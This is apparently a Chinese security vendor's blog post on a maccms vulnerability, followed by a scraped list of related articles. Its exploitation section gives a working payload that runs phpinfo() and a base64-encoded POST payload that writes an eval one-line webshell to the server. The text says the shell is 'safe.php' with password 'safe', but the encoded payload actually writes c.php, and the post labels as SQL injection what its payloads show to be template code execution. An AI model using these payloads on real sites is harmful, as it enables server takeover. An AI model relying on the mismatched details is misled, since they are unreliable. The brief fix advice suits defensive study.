苹果cms系统,是目前很多电影网站都在使用的一套网站系统,开源,免费,扩展性较好,支持一键采集,伪静态化,高并发的同时承载,获得的很多站长的喜欢,于近日被网站安全检测发现,maccms存在网站漏洞,sql注入盲射获取数据库的管理员账号密码,关于该漏洞的详情,我们仔细分析看下.

maccms漏洞分析与修复

苹果CMS采用的是php语言开发的代码,使用的数据库是mysql类型,这种架构是比较常用的,也是比较稳定的,但是在安全方面出现的问题是比较多的,这次发现的是sql注入漏洞,在网站的根目录下的inc文件里的module目录下的vod.php代码如下图所示:

代码里的empty($wd函数,在进行判断如果是,或者不是的逻辑过程当中,会将前段用户访问带来的参数,进行安全过滤,我们跟进代码来追寻到苹果CMS的配置文件,在function.php配置文件代码李看到对网站的所有请求方式包括get、post、cookies的提交方式都强制性的进行了安全转义。网站漏洞问题的发生就在这里.

我们仔细又发现,maccms使用了360安全提供的防止sql注入拦截代码。360的防止sql注入是好几年前开发,并公开在网络上的,已经很久没有更新维护了并且还存在sql注入代码绕过的情况,参数值之间进行实体转换的时候,360的sql拦截规则没有对空白符以及反斜杠进行拦截,导致可以绕过插入恶意参数,直接请求到苹果cms后端数据库中去,获取苹果CMS的管理员账号密码。

我们来看下如何利用苹果CMS的漏洞,从上面漏洞发生的细节里可以看出,是因为拦截sql注入语句的过程中存在可以被绕过的漏洞。我们来使用%0b,以及空格对代码进行注入,sql语句在拼接中,可以插入反斜杠进行单引号的报错,从而绕过苹果CMS的安全拦截。语句如下:

GET请求:

http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}

可以直接看php的具体信息

POST请求

可以直接获取webshell

http://127.0.0.1/index.PHP?m=vod-search

POST内容如下:

wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

可以直接生成带有一句话木马后门的代码,文件名为safe.php,一句话木马链接密码是safe.

如何修复苹果cms网站漏洞呢?

对网站漏洞的修复我们要知道漏洞产生的原因,以及为何会绕过苹果CMS的安全过滤,maccms使用的addslash安全函数,sql中没有加单引号的安全防护,in字句也很容易忘记加引号,再一个后期处理安全过滤的时候可以插入单引号,stripslash导致可以加入单引号,编解码导致绕过addslash,使用urldecode编码进行注入绕过,根据上面提出的漏洞绕过,我们SINE安全提出漏洞修复的建议是:对URL解码进行双层的转义,对get,post,cookies的拦截规则进行安全更新,加强空格,以及百分符号的拦截,如果对程序代码不熟悉的话建议咨询专业的网站安全公司来处理解决。

苹果cms网站漏洞修复解决办法的更多相关文章

  1. PrestaShop 网站漏洞修复如何修复

    PrestaShop网站的漏洞越来越多,该网站系统是很多外贸网站在使用的一个开源系统,从之前的1.0初始版本到现在的1.7版本,经历了多次的升级,系统使用的人也越来越多,国内使用该系统的外贸公司也很多 ...

  2. 怎么修复网站漏洞 骑士cms的漏洞修复方案

    骑士CMS是国内公司开发的一套开源人才网站系统,使用PHP语言开发以及mysql数据库的架构,2019年1月份被某安全组织检测出漏洞,目前最新版本4.2存在高危网站漏洞,通杀SQL注入漏洞,利用该网站 ...

  3. struts2架构网站漏洞修复详情与利用漏洞修复方案

    struts2从开发出来到现在,很多互联网企业,公司,平台都在使用apache struts2系统来开发网站,以及应用系统,这几年来因为使用较多,被攻击者挖掘出来的struts2漏洞也越来越,从最一开 ...

  4. Drupal 网站漏洞修复以及网站安全防护加固方法

    drupal是目前网站系统使用较多一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置,drupal的代码开发较为严谨,安全性较高,但是再安全的网站系统,也会出现网站漏洞,dru ...

  5. 网站漏洞修复之最新版本UEditor漏洞

    UEditor于近日被曝出高危漏洞,包括目前官方UEditor 1.4.3.3 最新版本,都受到此漏洞的影响,ueditor是百度官方技术团队开发的一套前端编辑器,可以上传图片,写文字,支持自定义的h ...

  6. Struts2/XWork 安全漏洞及解决办法

    exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞. 漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution V ...

  7. 帝国cms更新报错解决办法

    帝国cms更新,经常会报以下的错误: PHP Warning:  array_merge(): Argument #2 is not an array in D:\wwwroot\www.536831 ...

  8. 网站漏洞修复案例之Discuz!3.4最新版本

    Discuz!论坛目前最新版本为3.4版本,已经好久没有更新了,我们SINE安全在对其网站安全检测的同时发现一处漏洞,该漏洞可导致论坛的后台文件可以任意的删除,导致网站瘫痪,后台无法登陆.关于该网站漏 ...

  9. discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复

    2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...

随机推荐

  1. SP2-0734: unknown command beginning "lsnrctl st..." - rest of line ignored.

    SP2-0734: unknown command beginning "lsnrctl st..." - rest of line ignored. Cause(原因):Comm ...

  2. codeforces 407D Largest Submatrix 3

    codeforces 407D Largest Submatrix 3 题意 找出最大子矩阵,须满足矩阵内的元素互不相等. 题解 官方做法 http://codeforces.com/blog/ent ...

  3. 深入剖析php执行原理(4):函数的调用

    本章开始研究php中函数的调用和执行,先来看函数调用语句是如何被编译的. 我们前面的章节弄明白了函数体会被编译生成哪些zend_op指令,本章会研究函数调用语句会生成哪些zend_op指,等后面的章节 ...

  4. 大屏FAQ

    1. 大屏可以分为哪几类?帆软有哪些大屏硬件合作商?编辑 拼接屏:通常由单个46-55寸的液晶显示屏组成屏幕墙,存在拼缝,借助矩阵.屏控系统来进行信号的输入与输出控制,可以实现屏幕墙上多个屏幕的组合. ...

  5. 真实世界中的 Swift 性能优化

    那么有什么因素会导致代码运行缓慢呢?当您在编写代码并选择架构的时候,深刻认识到这些架构所带来的影响是非常重要的.我将首先谈一谈:如何理解内联.动态调度与静态调度之间的权衡,以及相关结构是如何分配内存的 ...

  6. TCP传输层协议的流程

    http://blog.chinaunix.net/uid-24399976-id-77905.html 通过对互联网的认识,我们发现TCP传输层协议是网络进行工作的核心也是基础.它的重要性我们在此也 ...

  7. xss实现获取内网ip

    前提得浏览器支持webRTC,测试的时候google浏览器测试成功,火狐浏览器不支持webRTC, 再在xss平台直接复制如下js代码: function form_ip(ip,port){ var ...

  8. MyBatis(2)-全局配置文件

    本文的代码是在MyBatis(1)-简单入门基础之上进行学习的,如有不懂请先看此博文MyBatis(1)-简单入门! 1)配置文件的安装 --->在联网的情况下,点击去下载http://myba ...

  9. 20155328 2016-2017-2 《Java程序设计》第九周学习总结

    20155328 2016-2017-2 <Java程序设计>第九周学习总结 教材学习内容总结 16.1 JDBC入门 JDBC是Java联机数据库的标准规范,定义一组标准类与接口,应用程 ...

  10. Intellij IDEA 2018.2.2 SpringBoot热启动 (Maven)

    一.IDEA 工具配置 1. 打开IDEA 设置界面,选择编译,按图打勾. 2 . 然后 Shift+Ctrl+Alt+/,选择Registry 3 . compiler.automake.allow ...